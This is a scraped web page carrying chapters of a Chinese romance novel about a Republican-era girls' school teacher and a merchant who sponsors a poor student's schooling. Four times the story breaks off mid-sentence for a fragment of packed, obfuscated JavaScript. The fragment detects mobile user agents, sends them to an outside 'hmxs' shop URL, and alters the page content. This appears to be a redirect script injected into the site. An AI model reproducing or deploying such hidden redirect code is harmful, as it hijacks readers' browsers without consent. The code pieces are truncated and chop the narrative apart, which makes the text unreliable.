l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978429|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是——这得值多少钱，运输要多少保费。” 他自嘲地笑了笑：“是不是很无趣？” 何思玥没说话。她看着他镜片后的眼睛，忽然发现那双总是透着精明算计的眼睛里，此刻竟有一丝罕见的、类似迷茫的神色。 “后来我想明白了。”沈晏继续说，手指无意识地摩挲着书箱边缘，“这世上的东西，但凡能标价的，都算容易。难的是那些标不了价的——比如何老师教的这些诗书道理，比如……” 他停住了，没往下说。 琴声还在响，这次连贯了些，是段欢快的旋律。 “比如什么？”何思玥问。 沈晏转过头，目光落在窗外。 梅树的枝桠在春风里轻轻摇晃，已经有嫩绿的新芽冒出来了。 “比如春天。”他说得很轻，“年年都来，可谁也说不清，值多少钱。” 这话说得不像他。何思玥愣愣地看着他，竟忘了接话。 沈晏却已恢复了平日的模样，从怀中掏出怀表看了看：“时候不早，我还要去码头看批货。清单上的书，下月初应该能到齐。”他戴上呢帽，微微颔首，“告辞了，何老师。” 他走出去时，脚步声在回廊里渐渐远去。 何思玥站在原地，手里还捏着那份清单。 纸张被阳光晒得温热，上面那些精确的数字在眼前跳动。她忽然想起他刚才说的那句话——难的是那些标不了价的。 窗外的梅树梢头，一只雀儿扑棱棱飞起，翅膀划过湛蓝的天空。 何思玥低下头，继续整理书籍。 当她的手指拂过那本《欧洲女权运动简史》的扉页时，在那行英文批注旁，她看见了一行极小的中文：“愿见群芳皆识字，不教明珠暗投尘。” 字迹和他列清单时一样工整，只是这一行没有标价。 阳光移过来了，照得那行字微微发亮。 何思玥看了很久，才轻轻合上书页。 远处又传来琴声，这次换了曲子。 她听出来了，是勃拉姆斯的《摇篮曲》，温柔得像春夜的风。 她忽然觉得，或许废墟上盖新厂房，也不全是坏事。至少打地基的时候，能看清楚每一块砖石的模样。 哪怕有些砖石，身上还带着算盘的刻痕。 暮春时节，私塾的紫藤开了。 淡紫色的花穗垂在藏书阁的窗边，风一过，便送来阵阵甜香。 何思玥已经习惯了这里的日子，习惯和私塾女学生相处的日子。 每日清晨穿过两条街巷来上课，午后在藏书阁整理书籍，傍晚批改学生作文——那些稚嫩的字句里，有时会蹦出惊人的见解，让她忍不住在页边写下长长的批注。 沈晏偶尔会来，有时是送新书，有时是和陈校长商议扩建事宜。 他总是匆匆的，西装口袋里总揣着怀表和便签本，说话时手指会在空中虚划，像是在计算什么。 即便和何思玥打个照面，也是颔首一笑，倒是没有过多的言语交流。 5. 第 5 章 这日午后，何思玥正在阁楼整理旧报刊，忽然听见楼梯上传来脚步声——不是沈晏那种利落的步子，而是有些迟疑的。 她探头望去，看见一个穿着私塾制服的女孩站在楼梯口，约莫十五六岁，两根麻花辫垂在肩上，眼睛红肿着。 “周晓芸？”何思玥认出这是班里最用功的学生之一，“怎么了？” 女孩咬了下嘴唇，从怀里掏出一个信封：“老师……我家里不让我念书了。” 何思玥接过信封，是很粗糙的黄纸，上面的字歪歪扭扭，大意是说女儿大了，该回家帮着做活，已经说好了一门亲事，秋后就过门。 “你父亲的意思？” 周晓芸点头，眼泪掉下来：“他说女孩子念书没用，不如早点嫁人换些彩礼，好给弟弟娶媳妇。”她抬起头，眼睛里满是不甘，“老师，我不想嫁。我想像您一样，当老师，或者……或者去念师范。” 何思玥看着女孩的脸，忽然想起很多年前的自己。 那时她也曾这样望着林老师，说想出国留学。父亲起初也反对，说女子读那么多书做什么，最后她还在林老师的帮助下，获得了公费留学的机会。 “你坐。”她拉过一把椅子，自己也在对面的书箱上坐下，“家里……很困难吗？” 周晓芸抹了把眼泪：“爹的腿去年在码头摔伤了，不能做重活。娘帮人洗衣，我平日下课也去纱厂捡线头……”她声音越说越小，“可是学费，家里真的凑不齐了。” 阁楼很安静，只有窗外紫藤花穗轻轻敲打窗棂的声音。 何思玥沉默片刻，忽然问：“若是学费有着落，你能说服家里让你继续念吗？” 女孩眼睛一亮，随即又黯下去：“可是……” “学费的事，我来想办法。”何思玥说得平静，心里却在飞快盘算——自己的薪水除去贴补家用，所剩无几。父亲那里……她摇摇头，不想再去求。 正想着，楼下传来陈校长的声音：“思玥？沈先生来了，说是有批新书到了。” 何思玥下楼时，看见沈晏站在庭院里，正指挥工人从板车上卸书箱。 他今日穿了件浅色亚麻西装，袖口挽到手肘，露出结实的小臂。阳光照在他汗湿的额发上，竟显出几分与平日不同的朝气。 “沈公子。” 沈晏回头，见她从楼梯上下来，推了推眼镜：“何老师。”他的目光在她脸上停留片刻，“脸色不太好，可是中暑了？” “没事。”何思玥看了眼那些书箱，“这次是……” “主要是自然科学类。”沈晏掏出手帕擦了擦汗，动作间露出腕上的一块旧怀表——不是平日那支金的，是支铜壳的，表面有划痕，“陈校长说学生们该学些实用的。这些是《格致启蒙》《算学基础》，还有几本《博物图鉴》。” 他说着，翻开一个箱子，取出一本《植物学浅说》，随手递给何思玥：“你看看，插图还算清楚。” 何思玥接过书，却没立刻翻看。 她看着沈晏指挥工人时的侧脸，忽然开口：“沈公子，有件事想请教。” “嗯？”沈晏示意工人小心轻放，转过头来。 “若有一笔投资，明知短期内看不到回报，甚至可能血本无归，但长远看或许能改变一个人的命运……”她斟酌着词句，“这样的投资，你会做吗？” 沈晏挑眉，镜片后的眼睛里闪过一丝兴趣：“具体说说？” 何思玥简单说了周晓芸的情况。她没有渲染，只是平实地陈述事实——家庭的困境，女孩的渴望，以及那封粗糙的黄纸信。 说完，庭院里安静了片刻。 工人们已经卸完书箱，拿着沈晏给的赏钱走了。 紫藤花的影子在地上摇晃，空气中弥漫着新书的油墨味。 沈晏从西装内袋取出便笺本和钢笔——他总是随身带着这些。他靠在板车边，开始写写画画。 何思玥看着他。 阳光照在他低垂的睫毛上，在脸颊投下浅浅的阴影。他算得很专注，嘴唇微微抿着，偶尔会用笔杆轻敲下巴——那是他思考时的习惯动作。 “一年的学费是十二块大洋。”他终于开口，声音平静，“若是包食宿，再加八块。假设她念完私塾去考师范，又是三年，每年花费差不多……”他又低头算了算，“总共大概八十块大洋。” 他说出一个精确的数字，抬起头：“这是一笔不小的数目。” 何思玥的心沉了沉。 “但是，”沈晏话锋一转，撕下那页便签，“如果这八十块能培养出一个教师，她将来可以教十年、二十年书，影响几十甚至上百个学生。”他把便签递给何思玥，“那么这笔投资的回报率，就不能用银元来计算了。” 何思玥接过便签。上面不仅列着费用，还画了个简单的图表——一条曲线起初平缓，然后缓缓上升。 “当然，这是最理想的情况。”沈晏将钢笔插回口袋，“也可能她中途放弃，或者毕业后嫁人不再教书。投资总有风险。” “所以……” “所以这更像一场赌博。”沈晏笑了笑，笑容里竟有几分少年人的率直，“赌一个人会不会珍惜机会，赌一个女孩能不能打破命。” 他顿了顿，从另一个口袋掏出钱包，取出几张钞票：“这里是五十块，算是第一期投资。不过我有条件。” 何思玥看着那几张崭新的纸币，愣住了。 “第一，她要签个借据——不是给我，是给她自己。写明她接受资助的条件是完成学业，将来若有余力，要帮助下一个需要帮助的女孩。”沈晏说得条理清晰，“第二，每学期成绩单要给我看一份。我要知道投资进展。” 他说着，把钞票塞进何思玥手里。他的指尖温热，触到她手心时，两人都顿了顿。 “沈公子，”何思玥看着他，“你其实……不必如此。” “我知道。”沈晏重新戴上眼镜，又变回了那个精明的商人，“但这笔生意，我想做。” 他转身要走，又想起什么，回头道：“对了，那本《植物学浅说》里，我夹了张紫藤的标本——去年在苏州园子里采的。或许……可以给学生看看。” 说完，他便大步流星地走了，浅色西装的身影很快消失在巷口。 何思玥站在庭院里，手里捏着那几张钞票和便签。便签上的字迹工整，图表画得一丝不苟，连风险概率都标了百分比。 她低头，翻开手中的《植物学浅说》。在讲述藤本植物的那一章，果然夹着一片压干的紫藤花。花瓣已经褪成淡紫色，却依然保持着完整的形态，叶脉清晰可见。 标本旁用钢笔写了一行小字：“此花虽柔，攀援而上，可逾高墙。” 字迹和那本《欧洲女权运动简史》扉页上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978430|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一模一样。 风吹过庭院，紫藤花穗簌簌作响。何思玥抬起头，看见周晓芸不知何时站在藏书阁窗口，正怯怯地望着她。 女孩的眼睛里，有光。 何思玥举起手中的书，朝她微微点头。然后她转身，走向陈校长的办公室——手里紧紧攥着的，不仅是几张钞票，更像是一纸战书，向命运下的战书。 而那个满身铜臭的商人，不知是有意还是无意，给她递来了最称手的兵器。 这念头让她嘴角弯了弯。 原来算盘刻痕的砖石，垒起来也能成一面遮风挡雨的墙。 何思玥带着沈晏给的五十块大洋找到周晓芸，将沈晏的话转述给她。 “晓芸，你愿意接受沈先生的资助并且答应他的要求吗？” 周晓芸的指尖轻轻抚过那几张崭新的钞票，像是怕碰碎了什么。她抬起头时，眼睛里的泪光已经干了，只剩下一种近乎倔强的清明。 “老师，我愿意。”她声音不大，却咬字清晰，“我要签那个借据，签给我自己。” 何思玥从抽屉里取出纸笔——是私塾用的毛边纸，粗糙但挺括。她研墨时，周晓芸就静静站在桌边，目光落在窗外那架紫藤上，暮春的风吹进来，带着淡淡的花香。 “想好了？”何思玥提起笔。 “嗯。”女孩点头，两根麻花辫垂在肩头，随着动作轻轻晃动，“沈先生说得对，这借据是写给我自己的。我要记住今天，记住有人肯在我身上……下注。” 她用了个很新鲜的词，让何思玥笔尖顿了顿。 借据写得很简单，何思玥用的是最直白的白话文。 写完后，她念给周晓芸听：“立据人周晓芸，因家贫无力继续学业，今接受沈晏先生资助……需每学期成绩优良，不得中途辍学……完成学业后若有余力，当资助下一名需要帮助的女子求学……以此为证。” 念到“以此为证”时，何思玥停住了。 她忽然想起什么，从笔筒里取出一枚小小的印章——是她自己的私章，刻着“思玥”二字。 “按理该按手印。”她把印泥推过去，“但我想，既然是要你记住，不如用个你将来也能有的东西。” 周晓芸看着那盒朱红的印泥，沉默片刻，忽然从衣襟里摸出个东西——是枚很旧的铜钱，用红绳穿着，显然是贴身戴了很久。 “这是我娘出嫁时，外婆给的压箱钱。”她解下红绳，将铜钱按进印泥，然后在借据的落款处，郑重地印了下去。 铜钱上的字迹模糊不清了，但在朱红的印泥里，依然能看出“光绪通宝”四个字的轮廓。一个旧时代的钱币，印在一张新时代的借据上——这画面有种奇特的张力。 何思玥看着那枚鲜红的印记，忽然问：“不怕吗？万一将来还不上这笔人情？” 周晓芸将铜钱重新戴回颈间，手指摩挲着那枚温热的铜钱：“老师，我娘常说，人穷不可怕，可怕的是心穷。”她抬起眼，目光里有种超越年龄的坚韧，“沈先生肯在我身上下注，我就得让他这注下得值。” 这话说得像个小大人，何思玥忍不住笑了。她将借据仔细折好，又拿出沈晏留下的便签，在背面空白处写道：“周晓芸借据已立，铜钱为印，心志为凭。书单已收，紫藤标本见。何思玥。” 字迹清秀，与沈晏那一丝不苟的钢笔字迥异，却意外地相衬。 6. 第 6 章 几日后，沈晏来私塾送第二批书时，何思玥将借据和便笺一并交给他。 藏书阁里，阳光正好照在靠窗的书桌上。沈晏展开借据，目光落在那枚铜钱印上，眉梢微微挑起。 “光绪通宝。”他用指尖虚虚点了点印迹，“有意思。” “她说这是她娘给的压箱钱。”何思玥站在桌边，看着他把借据举到阳光下细看。 沈晏没接话，只是从西装内袋掏出一个牛皮纸文件夹，小心翼翼地将借据夹进去。那文件夹里已经有不少文件，何思玥瞥见最上面是一张码头仓库的租赁合同。 “你不怕她将来还不起？”何思玥问。 沈晏合上文件夹，抬眼看她：“何老师觉得呢？” 这个问题抛了回来。 何思玥沉默片刻，看向窗外——周晓芸正在庭院里帮花匠浇水，蓝布衫的袖子挽到手肘，露出细瘦却有力的手腕。 “我觉得她会。”何思玥听见自己说，“她眼睛里有光。” 沈晏顺着她的目光望去，镜片后的眼睛眯了眯，像是在评估什么。片刻，他忽然开口：“那何老师呢？” “我？”何思玥不解。 “你的眼睛里的光回来了吗？” 这问题问得猝不及防。 何思玥怔住了，下意识想避开他的目光，却发现自己已经看了回去。 沈晏的眼神很平静，没有探究，没有算计，只是单纯地问一个问题——就像问今天的天气。 藏书阁很静。远处传来学生朗读课文的声音，是《木兰辞》：“唧唧复唧唧，木兰当户织……” “我不知道。”何思玥最终诚实地说，“但至少……不再全是灰烬了。” 沈晏点点头，像是收到了一个满意的答案。他从书桌上拿起那本夹着紫藤标本的《植物学浅说》，翻到那一页。 “这株紫藤，在苏州的拙政园。”他说得很随意，“我去看一批丝绸，路过园子，见它开得好，就采了一串。”他顿了顿，“园丁说，这株藤已经两百多年了，太平天国时园子烧了大半，它却活了下来。” 何思玥看着那枚干花标本，淡紫色的花瓣在书页间压得平整，仿佛时间在它身上静止了。 “为什么要跟我说这些？”她问。 沈晏合上书，轻轻放在桌上：“因为何老师教文学，应该懂得——有些东西，经历过烈火，才会开出更坚韧的花。” 他说完，拿起文件夹和呢帽：“我还要去码头，一批货到了。周晓芸的学费，每月初我会让人送来。” 走到门口时，他忽然停住，从文件夹里抽出一张纸——是何思玥写的那张便签。 “字写得很好。”他说，嘴角有淡淡的笑意，“比我的清单有人情味。” 然后他便走了，脚步声在回廊里渐行渐远。 何思玥站在原地，许久，才伸手拿起那本《植物学浅说》。她翻开夹着标本的那一页，在紫藤花的插图旁，又看到了一行小字——是她上次没注意到的： “藤本植物，根系深扎，虽遇风雨而不折。——沈晏识” 字迹工整，和那些清单上的数字一样一丝不苟。 窗外，周晓芸浇完了水，正抬头朝藏书阁这边望来。看见何思玥，她挥了挥手，脸上绽开一个明亮的笑容。 何思玥也朝她挥了挥手。 春风穿过敞开的窗户，吹动了书页，那枚紫藤标本轻轻颤动，仿佛在回应风的呼唤。 “我看明日的天气很好，要不要和老师一起户外写生？” 何思玥的话一开始像是一颗石子沉入了湖底，同学们面面相觑，她们之前接受了老派思想，只在教室里上课，没有想到还可以在户外。 周晓芸看了看四周的同学，积极地举起手，“何老师，我愿意和你一起户外写生。” 大家看到周晓芸举起手，有的同学也渐渐地跟着响应。 何思玥笑了：“那好，明日午后就出发。我们去城西的小河边——那里有柳树，有桃花，正是写生的好时节。” 消息在私塾里传开，女孩们都有些雀跃。 次日午后，何思玥领着十来个学生出了门，每人背着画板，提着简易的木画箱。春日的阳光暖暖的，洒在青石板路上，映得女孩们蓝布衫的衣角都泛着光。 城西的小河绕过半座城，岸边垂柳新绿，桃花开得正盛。 何思玥选了处平坦的河滩，学生们三三两两地散开，有的坐在石头上，有的干脆垫了手帕席地而坐。 周晓芸画得最认真。她选了棵老柳树，枝桠垂到水面，柳絮飘飘扬扬地落下来，像下着一场温柔的雪。 何思玥走过去看时，她正在调色——用的是最便宜的颜料，却调出了柳芽那种嫩得透明的绿。 “这里再加点黄。”何思玥指点道，“春日的绿，该是带着光亮的。” 正说着，忽然听见不远处传来声响，抬眼望去，一辆黑色轿车正沿着河边的土路缓缓驶来——这年头汽车还是稀罕物，学生们都好奇地抬头张望。 车在不远处停下。 车门打开，沈晏从车上下来，今日穿了身浅灰色的猎装，手里还拿着顶帆布帽。他看见何思玥和学生们，显然也有些意外。 “沈公子？”何思玥站起身。 “何老师。”沈晏朝她点点头，又看向那些好奇的学生们，“这是……上课？” “户外写生课。”何思玥解释，“教她们观察自然，用眼睛记录春天，到大自然中感受春的温度。” 沈晏推了推眼镜，目光扫过河滩上的女孩们。 她们有的在画桃花，有的在画远山，虽然笔法稚嫩，但神情都专注得很。阳光照在一张张年轻的脸上，让人想起初绽的花苞。 “有点意思。”他走近几步，恰好看见周晓芸的画板。画上的柳树已经初具形态，枝条的垂坠感画得很生动。 周晓芸见他过来，有些紧张地站起来：“沈先生。” “画得很好。”沈晏仔细看了看，“尤其是柳絮，用了留白的手法？聪明。”他说话时语气平和，没有半点居高临下的意思。 周晓芸的脸微微红了，小声道：“是何老师教的，说中国画讲究计白当黑。” 沈晏点点头，转向何思玥：“何老师果然会教。”他从猎装口袋里掏出个小本子——又是那本便签，“不过既然到了户外，只画风景未免可惜。”他翻了翻本子，“这附近有个小码头，常有货船卸货。若是画些市井百态，或许更有意思。” 何思玥愣了一下：“码头？” “嗯。”沈晏收起本子，“离这儿不远，步行一刻钟。我正要去那边看批货，若何老师愿意，可以带学生们去看看——当然，要看她们愿不愿意。” 学生们互相看了看，最后目光都落在何思玥身上。这些女孩大多养在深闺， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978431|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 码头对她们来说，是个陌生而新鲜的世界。 “老师，”周晓芸第一个开口，“我想去。” “我也想去。”另一个女孩小声说。 何思玥看着她们期待的眼神，点了点头：“好，那我们就去。” 一行人沿着河岸往上游走。 沈晏走在前面引路，他步子不快，不时回头看看队伍有没有跟上。阳光照在他浅灰色的猎装上，背影挺拔，竟有几分像是带队的向导。 走了约莫一刻钟，果然看见一个小码头。 不大，只停着两三艘木船，但岸边人来人往，很是热闹。扛包的苦力、叫卖的小贩、等客的黄包车夫，还有蹲在岸边洗衣的妇人——是一幅活生生的市井画卷。 学生们都看呆了。 她们从未见过这样的场景：汗水、尘土、吆喝声，混杂着河水的腥气和岸上饭摊的油烟味。 “就在这里画吧。”何思玥选了个稍高的土坡，可以俯瞰整个码头，“注意观察人物的动作、神态，不一定要画得多精细，但要抓住那个‘活’字。” 女孩们纷纷打开画板。 起初还有些拘谨，但很快就被码头的生动吸引了去。 沈晏没有离开，他走到一处茶摊坐下，要了壶粗茶，从怀里掏出那本总是随身携带的账簿翻看。 但何思玥注意到，他翻页的节奏很慢，目光不时会从账簿上抬起，望向土坡上的学生们。 尤其会望向她，眼神格外的炽热。 又一次目光相触时，何思玥没有避开。 她朝他微微颔首，然后继续指导身旁的学生：“你看那个扛包的苦力，他的腰是弯的，但肩膀是挺着的——这就是生活的重量。” 沈晏听了，嘴角勾起一丝笑意。他合上账簿，起身走到何思玥身边。 “何老师说得对。”他看着码头上来往的人群，“这些人，每个人身上都扛着自己的生活。苦力扛的是麻袋，小贩扛的是生计，车夫扛的是全家老小的指望。”他顿了顿，“而她们——”他看向那些埋首画画的女孩，“她们现在扛的，是画笔。但将来，也会扛起自己的人生。” 这话说得深，何思玥侧头看他。 阳光从侧面照来，在他眼镜边上镀了圈金边，让那双总是精于算计的眼睛，此刻看起来竟有几分温和的哲思。 “沈公子似乎很懂生活。”她说。 “做生意，就得懂人。”沈晏重新戴上帆布帽，“知道人需要什么，害怕什么，为什么奔波，为什么坚持。”他指着码头上一个正在啃烧饼的苦力，“比如他，现在最需要的是填饱肚子。但若你问他，他可能会说，最需要的是儿子的学费。” 何思玥顺着他的手指望去。那苦力约莫四十来岁，衣服上满是补丁，但吃烧饼时，脸上有种简单的满足。 “你怎么知道？” “猜的。”沈晏笑了笑，“但也未必是瞎猜。这码头的苦力，大多有家要养。我厂里也有这样的工人，每日下工，第一件事就是把工钱交到老婆手里，留几个铜板买烧饼。” 他说这些时，语气很平淡，没有怜悯，也没有高高在上的同情，就像在陈述一个事实。 何思玥忽然想起父亲曾说，沈家虽是商贾，但对待工人向来公道，从不拖欠工钱，当时她不以为然，觉得不过是笼络人心的手段。 现在看着沈晏平静的侧脸，她忽然有些不确定了。 7. 第 7 章 “沈公子，”她开口，问了个盘旋心头许久的问题，“你做这些——资助私塾，帮助周晓芸，是真的相信女子教育，还是……另有所图？” 问题直白得近乎冒犯。但沈晏没有生气，他转过身，正对着她。河风吹起他猎装的衣角，露出里面一件洗得发白的棉布衬衫。 “何老师觉得呢？”他又把问题抛了回来，镜片后的眼睛直视着她，“觉得我是个满身铜臭的商人，做什么都要算计回报？” 何思玥被问住了。 她看着他的眼睛，忽然发现那里面有种她从未认真看过的坦诚——或许他一直都这样坦诚，只是她总带着偏见，不曾细看。 “我不知道。”她诚实地说。 沈晏点点头，像是早就料到这个答案。 他望向河面，一艘货船正缓缓靠岸，船夫抛下缆绳，在阳光下划出一道弧线。 “家母识字不多，但心算极好。”他忽然说起往事，声音有些飘远，“小时候家里开杂货铺，她管账，从不出错。后来生意做大了，父亲请了账房先生，她就不再管账了。”他顿了顿，“但每回我看到她在灯下，拿着我小时候的识字课本，一个字一个字地认，心里就难受。” 何思玥静静地听着。 “所以你说我有所图——也许吧。”沈晏转过头，目光落在那些画画的女孩身上，“我图的是，将来若有女子想认字，不必等到儿子长大，不必等到家道中落，不必等到……没有机会。” 他说得很慢，每个字都像是仔细斟酌过。 然后他笑了，那笑容里有种自嘲的意味：“当然，这话说出去，大概没人信。连我自己有时都觉得，是不是在给自己找借口——做个商人还不够，还想当个慈善家？” “不是慈善家。”何思玥忽然开口。 沈晏看向她。 “是投资人。”何思玥迎上他的目光，“投资一个更好的未来。这比投资一船货、一批布，需要更大的胆识。” 河风突然大了起来，吹乱了何思玥鬓边的碎发。 她抬手去捋，指尖触到耳畔时，才意识到自己说了什么。 沈晏看着她，许久，嘴角的笑意慢慢扩散开来，不再是那种精明的、带着算计的笑，而是一种真实的、舒展的笑意。 “何老师，”他说，“你这句话，值千金。” 何思玥侧身看了沈晏一眼，经过刚刚的聊天发现，他好像也没有那么市侩，更过多的是通透。 这时，周晓芸捧着画板跑过来，脸上兴奋得发红：“何老师，沈先生，你们看！” 画板上画的正是刚才啃烧饼的苦力。笔触虽然稚嫩，但抓住了那个瞬间的神韵——疲惫中的满足，艰辛里的希望。 “很好。”何思玥接过画板，仔细看着，“尤其是手的动作，握烧饼的力度画出来了。” 沈晏也凑近看，然后从怀里掏出钢笔，在画的空白处写下一行小字： “一饼饱饥肠，双肩担日月。——晏观画有感” 字迹依旧工整，但比列清单时多了几分潇洒。 周晓芸看着那行字，眼睛亮晶晶的：“谢谢沈先生！” 夕阳开始西斜了，码头上的人渐渐散去，何思玥招呼学生们收拾画具，准备回私塾。 沈晏提出用汽车送她们——车虽不大，挤一挤也能坐下大半。 何思玥本想推辞，但看学生们好奇又期待的眼神，便同意了。 车里，女孩们小声议论着今天的见闻，语气里满是兴奋。何思玥坐在副驾驶，看着窗外掠过的街景。暮色四合，路灯一盏盏亮起来，昏黄的光晕在车窗上流淌。 “今天谢谢你。”她轻声说。 沈晏专注地看着前方路面，闻言只是微微颔首：“该我谢何老师，让我看了一场好‘投资’的现场展示。” 这话又带上了商人的口气，但何思玥听出了其中的调侃意味。 她忍不住笑了。 车子驶过顾家老宅所在的巷口时，何思玥的目光没有停留。她看着前方，看着越来越近的私塾大门，看着门口那两盏刚刚点亮的灯笼。 灯笼的光，温暖而坚定。 就像有些人，有些事，不张扬，不华丽，却能在夜色里，照亮一段路。 车停了。 学生们鱼贯而下，纷纷向沈晏道谢。 周晓芸最后一个下车，她走到车窗边，很认真地说：“沈先生，我会好好念书，不让您的投资打水漂。” 沈晏摇下车窗，看着她：“我不担心。因为你这枚‘光绪通宝’，比市面上流通的银元，更有分量。” 周晓芸愣了愣，随即明白过来，重重点头，转身跑进了私塾大门。 何思玥站在车边，晚风吹起她旗袍的下摆。她看着沈晏：“沈公子说话，总是这么……特别。” “商人嘛，总得有些特别的眼光。”沈晏重新发动汽车，但在离开前，他摇下车窗，递出一个小纸包，“差点忘了。码头茶摊的桂花糕，刚出锅的。给学生们分分，算是我这‘投资人’追加的一点‘福利’。” 纸包还温着，透过薄纸能闻到淡淡的桂花香。 何思玥接过时，指尖碰到他的手背——只是一瞬，却像被春日午后的阳光烫了一下。 “她们会喜欢的。”她说。 沈晏点点头，驾车离去。 车子在暮色中渐行渐远，尾灯的红光像两粒渐熄的炭火。 何思玥捧着那包桂花糕，站在私塾门口。灯笼的光照在她身上，拉出长长的影子。她想起他说的那句话——投资一个更好的未来。 忽然间，她很想看看，这个满身铜臭却心怀赤诚的商人，究竟能投资出一个怎样的未来。 她转身走进私塾，桂花糕的甜香在夜色中弥散开来，温柔了整个春夜。 晚上，何思玥回到家中的时候，全家人都整齐的坐在餐厅，等她回来吃饭。 “思玥，累了吧，赶紧坐下吃饭。”白母帮她拉开了凳子。 何思玥刚吃点东西，一旁的何荣笙开了口，“我听说，你今天带女生们去户外写生了？” “对啊，怎么了？” “你知道这样，会引起不少老学究的反对？你的着装已经很另类了，你还想带女学生一起改变？” “上海作为都市和文化中心，我觉着可以适当去改变女孩子，女孩子不是只能呆在宅院之中，学习女工、三从四德以及背诵《女诫》，也可以看看外面的世界。” 何荣笙将筷子重重搁在碗边：“外面的世界？思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978432|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玥，你知道外面有多少双眼睛在盯着女子私塾吗？陈校长能把这所学校办起来，已经是顶着天大压力了！” “正因为如此，才更该让她们走出去看看。”何思玥的声音依然平静，却像细针一样扎人，“父亲，您送我去英国留学时，不也是希望我能看更大的世界吗？” “那不一样！”何荣笙的额头青筋微跳，“你是白家的女儿，有家世护着。可那些女学生呢？她们大多出身普通，甚至贫寒。你带她们抛头露面，若是传出闲话，她们将来还怎么嫁人？私塾还怎么开下去？” 餐厅里的空气凝固了。 白母想打圆场，嘴唇动了动，最终还是没出声。 何思玥看着父亲因激动而泛红的脸，忽然想起很多年前，也是在这个餐厅，父亲拿着林老师的推荐信，对她说：“去吧，去看看泰晤士河，看看大英博物馆。我们这一代人的眼睛被旧礼教蒙住了，你们该看得更远。” 那时的父亲眼睛里是有光的。 “父亲，”她放缓了声音，“您还记得送我去码头那天的情景吗？” 何荣笙怔了怔。 “您说，希望我学成归来，能为这世道做点什么。”何思玥的目光扫过餐桌旁沉默的弟妹们，“现在我回来了，在女子私塾教书，想带学生们看看真实的世界——这不就是您希望我做的吗？” 何荣笙张了张嘴，却没发出声音。 他看着女儿，旗袍的立领衬得她脖颈纤细，但脊背挺得笔直。这姿态让他想起亡故的父亲——那位在戊戌年支持变法，最终郁郁而终的老举人。 “可是思玥，”他的语气软了下来，带着疲惫，“这世道……没那么容易改变。你知道我今天见谁了吗？教育局的王局长，他说私塾再这样‘新潮’下去，明年可能就拿不到补助了。” “那就不要补助。”一个清朗的声音从门口传来。 众人回头，见沈晏站在餐厅门口，不知何时来的，他今日换了身深蓝色西装，手里拿着顶礼帽，脸上带着惯有的从容笑意。 “伯父，伯母，打扰了。”他微微欠身，走进来，“我刚从商会那边过来，本来想明日再来拜访，但在门口听见你们说话，就冒昧进来了。” 何荣笙连忙起身：“晏来了怎么不让人通报一声？快请坐。” 沈晏在空位坐下，很自然地将礼帽放在一旁：“何老师带学生写生的事，我也听说了。倒是巧，今天我在码头看货，正好遇见了她们。” 何思玥看向他。 餐厅的灯光在他镜片上反射出两点亮光，让人看不清他眼里的情绪。 “沈公子也看见了？”何荣笙试探地问，“你觉得……这合适吗？” “合不合适，要看从什么角度说。”沈晏接过佣人递来的茶，手指在杯沿轻轻摩挲，“若从老派人的角度看，自然是不合适——女子就该深居简出。但若从教育的角度看，”他抬眼看向何思玥，“我觉得何老师做得很好。” 何荣笙愣住了。 “今天在码头，我看见那些女学生画画时的神情。”沈晏的声音不疾不徐，带着商人特有的说服力，“她们在观察、在思考、在记录。这不是简单的‘抛头露面’，这是在认识真实的世界。而认识世界，是改变世界的第一步。” 8. 第 8 章 沈晏说着，从西装内袋取出一张纸——正是周晓芸画的那幅苦力吃烧饼的画，上面还题着他那行字。 “伯父您看。”他将画铺在桌上，“这是今天一个女学生画的。她画的不只是一幅画，更是对生活的理解。这样的教育，比在教室里死背《女诫》有用得多。” 何荣笙低头看着那幅画，笔触稚嫩，但人物的神态捕捉得很准，尤其是那双捧着烧饼的手——粗糙、有力，指关节因常年劳作而变形。 “这孩子……很有天赋。”他喃喃道。 “是啊。”沈晏点头，“可若是按老规矩，她这会儿该在家学绣花，等着嫁人了。”他顿了顿，“伯父，我知道您担心什么——担心闲话，担心压力，担心私塾办不下去。” 他身体微微前倾，这是个谈生意的姿态，但眼神很真诚：“但您想过没有，如果因为害怕就不去做对的事，那进步从何而来？当年您送何老师去英国，不也是顶着族里人的非议吗？” 这话戳中了何荣笙。 他沉默片刻，长长叹了口气：“你说得对。可是沈晏，现实是现实，理想是理想。私塾若没了补助，那些家境困难的学生怎么办？” 